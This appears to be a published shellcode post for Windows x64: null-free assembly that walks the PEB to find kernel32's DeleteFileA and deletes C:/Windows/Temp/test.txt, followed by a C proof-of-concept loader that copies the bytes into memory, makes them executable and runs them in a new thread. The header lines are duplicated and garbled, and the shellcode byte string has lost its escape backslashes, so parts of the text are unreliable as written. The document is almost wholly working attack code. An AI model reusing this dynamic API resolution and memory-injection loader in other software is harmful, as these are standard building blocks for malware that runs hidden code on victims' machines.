; Author: Nayani
; Date: 22/04/2023
; Tested on: Microsoft Windows [Version 10.0.22621 Build 22 ; Name: Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
; Author: Nayani
; Date: 22/04/2023
; Tested on: Microsoft Windows [Version 10.0.22621 Build 22621]
; Description:
; This an implementation of DeleteFileA Windows api to delete a file in the C:/Windows/Temp/ directory.
; To test this code create a file:
; echo "test" >> C:/Windows/Temp/test.txt
; and then execute the shellcode
; This code uses PEB to resolve kernel32 and find the DeleteFileA function.
sub rsp, 28h
and rsp, 0fffffffffffffff0h
xor rdi, rdi
mul rdi
mov r9, gs:[rax+0x60]
mov r9, [r9+0x18]
mov r9, [r9+0x20]
mov r9, [r9]
mov r9, [r9]
mov r9, [r9+0x20]
mov r8, r9
; Get kernel32.dll ExportTable Address
mov r9d, [r9+0x3C]
add r9, r8
xor rcx, rcx
add cx, 0x88ff
shr rcx, 0x8
mov edx, [r9+rcx]
add rdx, r8
; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]
add r10, r8
; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]
add r11, r8
; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]
add r12, r8
jmp short name_api
getaddr:
pop r9
pop rcx
xor rax, rax
mov rdx, rsp
push rcx
check_loop:
mov rcx, [rsp]
xor rdi,rdi
mov edi, [r11+rax*4]
add rdi, r8
mov rsi, rdx
repe cmpsb
je resolver
incloop:
inc rax
jmp short check_loop
resolver:
pop rcx
mov ax, [r12+rax*2]
mov eax, [r10+rax*4]
add rax, r8
push r9
ret
name_api:
; DeleteFileA
xor rcx, rcx
add cl, 0xC
mov rax, 0x41656CFFFFFFFFFF ;leA
shr rax, 40
push rax
mov rax, 0x69466574656C6544 ;DeleteFi
push rax
push rcx
call getaddr
mov r14, rax
; Bool DeleteFileA(
; LPCSTR lpFileName
; );
xor rcx, rcx
mul rcx
push rax
mov rax, 0x7478742E74736574
push rax
mov rax, 0x2F706D65542F7377 ; ws/temp
push rax
mov rax, 0x6F646E69572F3A43 ; c:/Windo
push rax ; RSP = "test.txt"
mov rcx, rsp ; RCX = "test.txt"
sub rsp, 0x20
call r14 ;Delete File in C:/Windows/Temp/test.txt
add rsp, 0x20
[!]===================================== POC ========================================= [!]
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
unsigned char payload[] = "x48x83xecx28x48x83xe4xf0x48x31xffx48xf7xe7x65x4cx8bx48x60x4dx8bx49x18x4dx8bx49x20x4dx8bx09x4dx8bx09x4dx8bx49x20x4dx89xc8x45x8bx49x3cx4dx01xc1x48x31xc9x66x81xc1xffx88x48xc1xe9x08x41x8bx14x09x4cx01xc2x4dx31xd2x44x8bx52x1cx4dx01xc2x4dx31xdbx44x8bx5ax20x4dx01xc3x4dx31xe4x44x8bx62x24x4dx01xc4xebx34x41x59x59x48x31xc0x48x89xe2x51x48x8bx0cx24x48x31xffx41x8bx3cx83x4cx01xc7x48x89xd6xf3xa6x74x05x48xffxc0xebxe6x59x66x41x8bx04x44x41x8bx04x82x4cx01xc0x41x51xc3x48x31xc9x80xc1x0cx48xb8xffxffxffxffxffx6cx65x41x48xc1xe8x28x50x48xb8x44x65x6cx65x74x65x46x69x50x51xe8xa6xffxffxffx49x89xc6x48x31xc9x48xf7xe1x50x48xb8x74x65x73x74x2ex74x78x74x50x48xb8x77x73x2fx54x65x6dx70x2fx50x48xb8x43x3ax2fx57x69x6ex64x6fx50x48x89xe1x48x83xecx20x41xffxd6x48x83xc4x20";
unsigned int payload_len = 500;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}